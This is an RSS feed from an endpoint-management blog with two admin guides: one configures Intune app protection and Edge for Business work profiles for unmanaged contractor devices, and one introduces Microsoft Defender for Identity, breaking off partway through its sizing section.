<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>michaelsendpoint.com</title>
        <link>https://michaelsendpoint.com</link>
        <description>A place where endpoint mangement makes sense</description>
        <lastBuildDate>Tue, 10 Mar 2026 00:26:33 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en-us</language>
        <copyright>Copyright © 2024 Michael Frank</copyright>
        <item>
            <title><![CDATA[MAM for Contractors | Intune]]></title>
            <link>https://michaelsendpoint.com/intune/MAMContractor.html</link>
            <guid>https://michaelsendpoint.com/intune/MAMContractor.html</guid>
            <pubDate>Mon, 09 Mar 2026 20:31:41 GMT</pubDate>
            <description><![CDATA[Protect contractor access to sensitive resources using Mobile Application Management (MAM) and Edge for Business without requiring device management.]]></description>
            <content:encoded><![CDATA[<img src="\intune\mamcontractor\banner.avif" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>When hiring contractors and granting them access to sensitive resources, such as internal data, SaaS platforms or administrative portals,
it is critical to enforce security controls at the application layer, because direct management of the device is not possible.
Implementing <span style="color:crimson">Microsoft Edge for Business</span> alongside <span style="color:crimson">Mobile Application Management (MAM)</span> is an effective way to safeguard your organisation's data accessed through browsers on Windows.</p>
<p>Microsoft has announced the launch of a <span style="color:crimson">Public Preview</span> (March 2026) feature that will allow browser-based protection policies to be applied to the <span style="color:crimson">work profile of Edge for Business</span>, even when the device is not managed directly.
This approach ensures data boundaries are maintained while respecting the ownership of devices belonging to other organisations.</p>
<h2 id="configuration" tabindex="-1">⚙️ Configuration <a class="header-anchor" href="#configuration" aria-label="Permalink to &quot;:gear: Configuration&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="mobile-threat-defense-mtd" tabindex="-1">Mobile Threat Defense (MTD) <a class="header-anchor" href="#mobile-threat-defense-mtd" aria-label="Permalink to &quot;Mobile Threat Defense (MTD)&quot;">&ZeroWidthSpace;</a></h3>
<p>The Microsoft Intune MTD connector links Intune with third-party vendors to provide cross-platform threat intelligence.
For unmanaged devices, MAM can use these connectors to assess device health without an agent present on the machine.</p>
<p>The connector will only gather data from MAM-enrolled users.
To stop transmission, users can sign out of the protected app or the admin can remove the MTD connector from Intune.</p>
<p>The data sent through the connector includes:</p>
<ul>
<li>User, app and device identifiers</li>
<li>Last update timestamp</li>
<li>A predefined health state
<ul>
<li>Secured: Zero-tolerance for threats</li>
<li>Low: Allows only low-level threats</li>
<li>Medium: Allows low or medium level threats</li>
<li>High: Allows all threat levels (should only be used for test purposes)</li>
</ul>
</li>
</ul>
<p><u>Configure the MTD Connector</u></p>
<ol>
<li>Open the <strong>Intune admin portal</strong> -&gt; <strong>Tenant administration</strong> -&gt; <strong>Connectors and tokens</strong> -&gt;
<a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/TenantAdminConnectorsMenu/~/mobileThreatDefense" target="_blank" rel="noreferrer">Mobile Threat Defense</a> and click <code>➕ Create</code>.</li>
<li>Now select <code>Windows Security Center</code> in the <strong>Select the Mobile Threat Defense connector to setup</strong> field and click <code>Create</code>.</li>
</ol>
<img src="\intune\mamcontractor\MTD1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/>
<img src="\intune\mamcontractor\MTD2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>The status will show <code>🔁 Not set up</code> until you enroll the first MAM user.</p>
</div>
<hr>
<h3 id="app-configuration-policy" tabindex="-1">App Configuration policy <a class="header-anchor" href="#app-configuration-policy" aria-label="Permalink to &quot;App Configuration policy&quot;">&ZeroWidthSpace;</a></h3>
<p>This will set up the behaviour of the Edge work profile and how we want the app to interact with the user.
Following you will find my best practices:</p>
<ol>
<li>Open the <strong>Intune admin portal</strong> -&gt; <strong>Apps</strong> -&gt; <strong>Manage apps</strong> -&gt; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/AppsMenu/~/configuration" target="_blank" rel="noreferrer">Configuration</a> and click <code>➕ Create</code> -&gt; <code>Managed Apps</code>.</li>
<li>Enter a <strong>Name</strong>, <strong>Description</strong> and click <code>Select public apps</code>.</li>
<li>Now select <strong>Microsoft Edge</strong> with the <strong>Windows</strong> platform, click <code>Select</code> and <code>Next</code>.</li>
</ol>
<img src="\intune\mamcontractor\AppConfiguration1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="450" loading="lazy"/>
<ol start="4">
<li>Now add the following settings from the <strong>Settings catalog</strong>.</li>
</ol>
<details class="details custom-block"><summary>Settings Catalog</summary>
<table>
<thead>
<tr>
<th>Settings Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Show Home button on toolbar</td>
<td>Enabled</td>
</tr>
<tr>
<td>Allow HTTPS-Only Mode to be enabled</td>
<td>Force enable HTTPS-Only Mode in Strict mode</td>
</tr>
<tr>
<td>Default pop-up window setting</td>
<td>Do not allow any site to show popups</td>
</tr>
<tr>
<td>Enable saving passwords to the password manager</td>
<td>Disabled</td>
</tr>
<tr>
<td>Enable AutoFill for payment instruments</td>
<td>Disabled</td>
</tr>
<tr>
<td>Block tracking of users' web-browsing activity</td>
<td>Balanced</td>
</tr>
<tr>
<td>Enable network prediction</td>
<td>Don't predict network actions on any network connections</td>
</tr>
<tr>
<td>Allow importing of autofill form data</td>
<td>Disabled</td>
</tr>
<tr>
<td>Allow importing of saved passwords</td>
<td>Disabled</td>
</tr>
<tr>
<td>Allow importing of browsing history</td>
<td>Disabled</td>
</tr>
<tr>
<td>Allow importing cookies</td>
<td>Disabled</td>
</tr>
<tr>
<td>Allow importing of extension</td>
<td>Disabled</td>
</tr>
<tr>
<td>Allow download restrictions</td>
<td>Block malicious downloads and dangerous file types</td>
</tr>
<tr>
<td>Show Microsoft Rewards experiences</td>
<td>Disabled</td>
</tr>
<tr>
<td>Shopping in Microsoft Edge Enabled</td>
<td>Disabled</td>
</tr>
<tr>
<td>Enable deleting browser and download history</td>
<td>Enabled</td>
</tr>
<tr>
<td>Force Microsoft Defender SmartScreen checks on downloads from trusted sources</td>
<td>Enabled</td>
</tr>
<tr>
<td>Allow insecure content on specified sites</td>
<td>[]</td>
</tr>
<tr>
<td>Block insecure content on specified sites</td>
<td>[&quot;*&quot;]</td>
</tr>
<tr>
<td>Control which native messaging hosts users can use</td>
<td>[]</td>
</tr>
<tr>
<td>Configure native messaging block list</td>
<td>[&quot;*&quot;]</td>
</tr>
<tr>
<td>Restrict the range of local UDP ports used by WebRTC</td>
<td>10000:11000</td>
</tr>
<tr>
<td>Clear browsing data when Microsoft Edge closes</td>
<td>Enabled</td>
</tr>
<tr>
<td>Disable synchronization of data using Microsoft sync services</td>
<td>Enabled</td>
</tr>
<tr>
<td>Enable printing</td>
<td>Disabled</td>
</tr>
<tr>
<td>InPrivate mode availability</td>
<td>InPrivate mode disabled</td>
</tr>
<tr>
<td>Force synchronization of browser data and do not show the sync consent prompt</td>
<td>Disabled</td>
</tr>
<tr>
<td>Configure sleeping tabs</td>
<td>Enabled</td>
</tr>
<tr>
<td>Allow or block video capture</td>
<td>Disabled</td>
</tr>
</tbody>
</table>
</details>
<img src="\intune\mamcontractor\AppConfiguration2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="450" loading="lazy"/>
<ol start="5">
<li>Click <code>Next</code> 2 times, add your contractor group to <strong>Assignments</strong> and then click <code>Create</code>.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can find Microsofts recommendations for Edge App Configuration policies <a href="https://learn.microsoft.com/en-us/intune/intune-service/apps/mamedge-4-acp-edge?pivots=windows#app-configuration-policies-for-windows" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<hr>
<h3 id="app-protection-policy" tabindex="-1">App Protection policy <a class="header-anchor" href="#app-protection-policy" aria-label="Permalink to &quot;App Protection policy&quot;">&ZeroWidthSpace;</a></h3>
<p>This will set up the behaviour of the Edge work profile and how we want the user to interact with the data.
Following you will find my best practices:</p>
<ol>
<li>Open the <strong>Intune admin portal</strong> -&gt; <strong>Apps</strong> -&gt; <strong>Manage apps</strong> -&gt; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/AppsMenu/~/protection" target="_blank" rel="noreferrer">Protection</a> and click <code>➕ Create</code> -&gt; <code>Windows</code>.</li>
<li>Enter a <strong>Name</strong> and <strong>Description</strong> for the policy, then click <code>Next</code>.</li>
<li>Now select <strong>Microsoft Edge</strong> and click <code>Next</code>.</li>
</ol>
<img src="\intune\mamcontractor\AppProtection1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="4">
<li>
<p>Select which <strong>Data Protection</strong> settings you want to apply to the app, then click <code>Next</code>.</p>
<div class="info custom-block"><p class="custom-block-title">Leak control</p>
<p>If you set the <code>Allow cut, copy, and paste</code> policy, to anything different than <code>All destinations and sources</code>, the following controls are set by default:</p>
<ul>
<li>Blocks Screenshots</li>
<li>Blocks Developer Tools</li>
</ul>
 <img src="\intune\mamcontractor\DeveloperTools.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/>
</div>
</li>
</ol>
<img src="\intune\mamcontractor\AppProtection2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="5">
<li>Lastly you can select <strong>App conditions</strong> and <strong>Device conditions</strong>.</li>
</ol>
<img src="\intune\mamcontractor\AppProtection3.avif" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="6">
<li>Click <code>Next</code>, add your contractor group to <strong>Assignments</strong> and then click <code>Create</code> to finish the policy.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can find Microsofts recommendations for Edge App Protection policies <a href="https://learn.microsoft.com/en-us/intune/intune-service/apps/mamedge-2-app?pivots=windows" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<hr>
<h3 id="conditional-access-policy" tabindex="-1">Conditional Access policy <a class="header-anchor" href="#conditional-access-policy" aria-label="Permalink to &quot;Conditional Access policy&quot;">&ZeroWidthSpace;</a></h3>
<p>This will set up the access control that forces the contractors to use the app protection policy we set up.</p>
<ol>
<li>Open the <strong>Intune admin portal</strong> -&gt; <strong>Devices</strong> -&gt; <strong>Manage devices</strong> -&gt; <strong>Conditional access</strong> -&gt; <a href="https://intune.microsoft.com/#view/Microsoft_AAD_ConditionalAccess/ConditionalAccessBlade/~/Policies" target="_blank" rel="noreferrer">Policies</a> and click <code>➕ New Policy</code>.</li>
<li>Enter the <strong>Name</strong> for your policy.</li>
<li>Under <strong>Users or Agents</strong> select your contractor user group.</li>
<li>Under <strong>Target resources</strong> select <code>Microsoft Admin Portals</code> and <code>Office 365</code>. (You can also select any other browser-based resource you want to protect.)</li>
</ol>
<img src="\intune\mamcontractor\CA2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="250" loading="lazy"/>
<ol start="5">
<li>Under <strong>Conditions</strong> -&gt; <strong>Device platforms</strong> select <code>Windows</code>.</li>
</ol>
<img src="\intune\mamcontractor\CA3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/>
<ol start="6">
<li>Under <strong>Conditions</strong> -&gt; <strong>Client apps</strong> select <code>Browser</code>.</li>
</ol>
<img src="\intune\mamcontractor\CA4.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/>
<ol start="7">
<li>Under <strong>Grant</strong> select <code>Grant access</code> and <code>Require app protection policy</code>.</li>
</ol>
<img src="\intune\mamcontractor\CA5.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="250" loading="lazy"/>
<ol start="8">
<li>Lastly set the policy to <code>On</code> and click <code>Create</code>.</li>
</ol>
<img src="\intune\mamcontractor\CA1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="250" loading="lazy"/>
<h2 id="usage-scenarios" tabindex="-1">⭐ Usage scenarios <a class="header-anchor" href="#usage-scenarios" aria-label="Permalink to &quot;:star: Usage scenarios&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="mam-enrollment" tabindex="-1">MAM enrollment <a class="header-anchor" href="#mam-enrollment" aria-label="Permalink to &quot;MAM enrollment&quot;">&ZeroWidthSpace;</a></h3>
<p>To use the new <span style="color:crimson">work profile</span> feature you only need to have the previously created polcies assigned to the contractor group on the organizations side.</p>
<p>On the user side, the contractor needs to activate a setting from their side to get the new experience.</p>
<ol>
<li>Open Microsoft Edge and open <code>edge://flags</code>.</li>
</ol>
<img src="\intune\mamcontractor\MAMEnrollment1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="2">
<li>
<p>Enable the following flags and restart the browser.</p>
<ul>
<li><code>#edge-allow-mam-on-mdm</code> - (This setting is needed when the contractor's device is already enrolled with his own organizations MDM.)</li>
</ul>
 <img src="\intune\mamcontractor\MAMEnrollment3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
</li>
<li>
<p>After Edge restarted, open your resource of choice (here <a href="https://portal.office.com" target="_blank" rel="noreferrer">portal.office.com</a>) and sign in.</p>
</li>
<li>
<p>In the sign in process the system will ask you to log in to a separate Edge work profile. This happens so the profile can be managed by the MAM policy.</p>
</li>
</ol>
<img src="\intune\mamcontractor\MAMEnrollment4.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<ol start="5">
<li>Clicking <code>Switch Edge profile</code> triggers a pop-up to select and confirm your preferred account. Here you click <code>Sign in to sync data</code> and log in to the Edge work profile.</li>
</ol>
<img src="\intune\mamcontractor\MAMEnrollment5.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<ol start="6">
<li>In the sign in flow you will be asked if you want to sign in to all apps or only this app.</li>
</ol>
<div class="danger custom-block"><p class="custom-block-title">Important</p>
<p>You need to select <code>Yes</code>, because the Edge work profile can not be managed otherwise and this feature will not work.</p>
<img src="\intune\mamcontractor\MAMEnrollment6.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/>
</div>
<div class="tip custom-block"><p class="custom-block-title">info</p>
<p>If you have not disabled the <code>Disable MDM enrollment when adding work or school account on Windows</code> setting</p>
<img src="\intune\mamcontractor\MDMEnrollment.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<p>your contractor will also get the question if he wants to enroll his device, which he should answer with <code>No</code>.</p>
<img src="\intune\mamcontractor\MAMEnrollment7.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/>
</div>
<ol start="7">
<li>After that, you will get a success message and the MAM policies will apply.</li>
</ol>
<img src="\intune\mamcontractor\MAMEnrollment8.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<img src="\intune\mamcontractor\MAMEnrollment9.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="8">
<li>In the Screenshot below you see that the app protection policies we configured do now apply to the office resource.</li>
</ol>
<img src="\intune\mamcontractor\MAMEnrollment10.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<img src="\intune\mamcontractor\MAMEnrollment11.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<img src="\intune\mamcontractor\MAMEnrollment12.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">What can the organization see of the contractors device?</p>
<ul>
<li>Windows registers the device in Entra ID, where it will be listed with minimal information.</li>
</ul>
<img src="\intune\mamcontractor\Entra.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ul>
<li>The device will not be listed in the Intune or Defender portal</li>
</ul>
<p>To find information about the contractors sessions you can:</p>
<ul>
<li>use the sign in logs and the conditional access policy</li>
<li>or use the special <a href="https://intune.microsoft.com/#view/Microsoft_Intune/AppProtectionStatusReports.ReactView" target="_blank" rel="noreferrer">App protection status</a> and <a href="https://intune.microsoft.com/#view/Microsoft_Intune/AppConfigurationStatusReports.ReactView" target="_blank" rel="noreferrer">App configuration status</a> reports in Intune (<strong>Intune</strong> -&gt; <strong>Apps</strong> -&gt; <strong>Monitor</strong>)</li>
</ul>
<img src="\intune\mamcontractor\AppProtectionReport.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<img src="\intune\mamcontractor\AppConfigurationReport.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
</div>
<hr>
<h3 id="downloads-to-onedrive" tabindex="-1">Downloads to OneDrive <a class="header-anchor" href="#downloads-to-onedrive" aria-label="Permalink to &quot;Downloads to OneDrive&quot;">&ZeroWidthSpace;</a></h3>
<p>To additionally force downloads to be saved in OneDrive for Business, you can make the following settings:</p>
<ol>
<li>First you need to go to <strong>Intune</strong>, to the <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/AppsMenu/~/protection" target="_blank" rel="noreferrer">App Protection policy</a> we just created and make sure <code>Send org data to</code> is set to <code>No destinations</code>.</li>
</ol>
<img src="\intune\mamcontractor\OneDriveDownload1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="2">
<li>After that we need to create an Edge policy.
To do that, open the <strong>M365 admin portal</strong> -&gt; <strong>Settings</strong> -&gt; <strong>Microsoft Edge</strong> select the <a href="https://admin.cloud.microsoft/#/Edge/PolicyConfiguration" target="_blank" rel="noreferrer">Configuration policies</a> tab and click <code>➕ Create policy</code>.</li>
</ol>
<img src="\intune\mamcontractor\OneDriveDownload2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="3">
<li>Enter the <strong>Name</strong> and <strong>Description</strong> for your policy, and make sure to select <code>Windows 10+</code> as <strong>Platform</strong> and <code>Cloud</code> as <strong>Policy type</strong>, before clicking <code>Next</code>.</li>
</ol>
<img src="\intune\mamcontractor\OneDriveDownload3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="4">
<li>Click <code>Next</code> in the <strong>Settings</strong> and <strong>Extensions</strong> section, until you come to the <strong>Customization Settings</strong>.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If you do not see the <code>Customization Settings</code>section, you create the policy completly without settings in it and assign it to the contractor group.
After that, when you open the policy again, you will see the <code>Customization Settings</code> section, select it and make the needed settings.</p>
<img src="\intune\mamcontractor\EdgeSetting1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="100" loading="lazy"/>
</div>
<img src="\intune\mamcontractor\OneDriveDownload4.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/>
<ol start="4">
<li>In the <strong>Customization Settings</strong> tab, navigate to <strong>Security Settings</strong> and enable the <code>Protected Downloads</code> setting.</li>
</ol>
<img src="\intune\mamcontractor\OneDriveDownload5.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<p>After you set this up, files downloaded in Edge by your contractors are redirected to the <code>Microsoft Edge Downloads</code> folder in OneDrive for Business, which is tenant-managed and enforces organizational compliance.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Be aware, for this to work, you need to assign the contractors a license that includes OneDrive for Business.</p>
</div>
<hr>
<h3 id="watermarking" tabindex="-1">Watermarking <a class="header-anchor" href="#watermarking" aria-label="Permalink to &quot;Watermarking&quot;">&ZeroWidthSpace;</a></h3>
<p>You can also force watermarking in the protected Browser session for your contractors.
With that, you can make sure that you even got visual leak control.</p>
<p>To set this up, you can follow the same steps as described in the <a href="#downloads-to-onedrive">Downloads to OneDrive</a> section, but instead of enabling <code>Protected Downloads</code> you need to enable <code>Enable watermarking protection</code>.</p>
<img src="\intune\mamcontractor\Watermarking1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<p>You ca see the effect in the screenshot below.</p>
<p>(I adjusted the Screenshots contrast a bit, so the watermarking is better visible in the screenshot)
<img src="\intune\mamcontractor\Watermarking2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/></p>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>Managing <span style="color:crimson">external contractors</span> and third-party vendors <span style="color:crimson">presents a significant security challenge</span>, you need to grant them access to sensitive resources while maintaining strict data protection boundaries.
<span style="color:crimson">Implementing MAM</span> (Mobile Application Management) with Microsoft Edge for Business <span style="color:crimson">solves this</span> elegantly by enforcing <span style="color:crimson">security controls at the application profile layer</span> rather than requiring device enrollment.
This approach allows you to <span style="color:crimson">protect your organization's data and resources</span> without the friction of device management, <span style="color:crimson">without exposing your resources to unmanaged devices</span> or providing the contractor with a separate device.
By combining app-level policies and conditional access, you <span style="color:crimson">create a secure work profile that sits isolated on the contractor's device</span>, ensuring organizational compliance while respecting device ownership and maintaining a seamless user experience.</p>
<p><u>Preview Limitations</u></p>
<ul>
<li>Users can't access data protected by Conditional Access policies when using devices managed by another tenant with the same Conditional Access settings active.</li>
<li>To enroll MAM policies on an externally managed device, it mustn't have any Endpoint DLP policies applied at the device level.</li>
</ul>
<p><u>References</u></p>
<ul>
<li><a href="https://techcommunity.microsoft.com/blog/microsoftintuneblog/protect-browser-based-work-on-agency-managed-windows-pcs/4496538" target="_blank" rel="noreferrer">Microsoft Intune Blog - Protect browser-based work on agency-managed Windows PCs</a></li>
<li><a href="https://learn.microsoft.com/en-us/intune/intune-service/apps/mamedge-overview" target="_blank" rel="noreferrer">Microsoft Learn - Secure Your Corporate Data in Intune with Microsoft Edge for Business</a>
-<a href="https://learn.microsoft.com/en-us/deployedge/microsoft-edge-cross-tenant-support-using-intune-mam" target="_blank" rel="noreferrer">Microsoft Learn - Cross-tenant support using Intune MAM</a></li>
<li><a href="https://learn.microsoft.com/en-us/deployedge/microsoft-edge-cross-tenant-support-using-intune-mam#known-limitations" target="_blank" rel="noreferrer">Microsoft Learn - Known limitations</a></li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Defender for Identity | Security]]></title>
            <link>https://michaelsendpoint.com/security/defender_identity.html</link>
            <guid>https://michaelsendpoint.com/security/defender_identity.html</guid>
            <pubDate>Mon, 23 Feb 2026 22:01:13 GMT</pubDate>
            <description><![CDATA[Guide explaining Microsoft Defender for Identity, including its purpose, deployment, configuration and practical admin guidance for identity-related threats.]]></description>
            <content:encoded><![CDATA[<img src="\security\identity\banner.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>Microsoft Defender for Identity (MDI) (formerly Azure Advanced Threat Protection / Azure ATP) is a cloud-based security solution that helps you protect and monitor identities across your organization.
It brings together identity data within the Microsoft Defender portal from both on-premises and cloud identities.
It helps you by bringing together your identity signals with all the other security signals you get and shows you a full picture of these threats.
In addition it extends the automated attack disruption features of Microsoft Defender to your on-premises identities.</p>
<hr>
<h3 id="licenses" tabindex="-1">Licenses <a class="header-anchor" href="#licenses" aria-label="Permalink to &quot;Licenses&quot;">&ZeroWidthSpace;</a></h3>
<p>Defender for Identity is already included in a lot of M365 plans, but also available as a standalone license.</p>
<ul>
  <li>Enterprise Mobility + Security E5 (EMS E5/A5)</li>
  <li>Microsoft 365 E5 (Microsoft E5/A5/G5)</li>
  <li>Microsoft 365 E5/A5/G5/F5* Security</li>
  <li>Microsoft 365 F5 Security + Compliance*</li>
  <li>Standalone Defender for Identity license</li>
</ul>
<hr>
<h3 id="how-does-it-work" tabindex="-1">How does it work? <a class="header-anchor" href="#how-does-it-work" aria-label="Permalink to &quot;How does it work?&quot;">&ZeroWidthSpace;</a></h3>
<p>Outside the Cloud, Defender for Identity works by utilizing a sensor on your AD DS (Domain Services / Domain Controller), AD FS (Federation Service) and AD CS (Certificate Service) Servers.
The sensor monitors for threats, analyzes network traffic and collects event logs.
It sends this data to the cloud service, which combines and displays the findings together with the other security signals in the Microsoft Defender portal.</p>
<img src="\security\identity\architecture.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<p>Over the past years, Microsoft has integrated Defender for Identity into the unified Microsoft Defender XDR portal.
This provides a central location for viewing security alerts and incidents, making it easier to respond across different areas.
This is because attackers do not operate within boundaries, whether these be identity-based, device-based or otherwise.</p>
<p>Also there are two versions of the Defender for Identity sensor (2.x &amp; 3.x) at the moment because of the efforts from Microsoft to make the onboarding, offboarding and operation easier by integrating it into the Defender for Endpoint and Operating System from Windows Server 2019 onwards.
That also means that the new sensor uses the same connectivity as Defender for Endpoint and you don't have to open additional ports on your firewalls.
But the new sensor is still in Development at the moment (February 2026) and does not fully support all features of the previous version yet.</p>
<hr>
<h3 id="_3rd-party-integrations" tabindex="-1">3rd Party Integrations <a class="header-anchor" href="#_3rd-party-integrations" aria-label="Permalink to &quot;3rd Party Integrations&quot;">&ZeroWidthSpace;</a></h3>
<p>You can use a third-party identity or Privileged Access Management (PAM) provider with Microsoft Defender for Identity.</p>
<p>You have the option to integrate Okta using the built-in integration.
Microsoft provides comprehensive documentation, including a step-by-step guide on how to configure the integration (see <a href="https://learn.microsoft.com/en-us/defender-for-identity/okta-defender-for-identity-overview" target="_blank" rel="noreferrer">How Microsoft Defender for Identity protects your Okta accounts</a>).</p>
<p>If you use a third-party PAM solution, Microsoft also offers built-in integrations with several providers like CyberArk, BeyondTrust and Delinea.
Documentation on supported PAM providers is available directly in the <strong>Microsoft Defender portal</strong> -&gt; <strong>Investigation &amp; response</strong> -&gt; <strong>Partner catalog</strong> -&gt; <a href="https://security.microsoft.com/interop/techpartnerscatalog" target="_blank" rel="noreferrer">Technology partners</a>, where you can find detailed information and direct links.
You can also access this information here: <a href="https://learn.microsoft.com/en-us/defender-for-identity/integrate-microsoft-and-pam-services" target="_blank" rel="noreferrer">Integrate Defender for Identity with PAM services</a>.</p>
<hr>
<h3 id="sizing" tabindex="-1">Sizing <a class="header-anchor" href="#sizing" aria-label="Permalink to &quot;Sizing&quot;">&ZeroWidthSpace;</a></h3>
<p>MDI sensors require a minimum amount of resources to run properly.
<span style="color:crimson">If the server doesn't have the required resources, domain controller performance shouldn't be affected</span>, but the Defender for Identity sensor might not work as expected.</p>
<p>You can use the MDI sizing tool to check if you got the required resources.
Download it <a href="https://aka.ms/mdi/sizingtool" target="_blank" rel="noreferrer">here</a>.</p>
<ol>
<li>Copy the tool to your domain controller and run it.</li>
</ol>
<img src="\security\identity\sizingtool1.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="2">
<li>The tool will run and check if your server is supported based on the Busy Packets/Second value. This is calculated based on the 15 busiest minutes over a 24-hour period.
While the tool runs, it creates and updates an XMLS report. As soon as you are ready, stop the tool with <code>CTRL + C</code> and open the report to check the results.</li>
</ol>
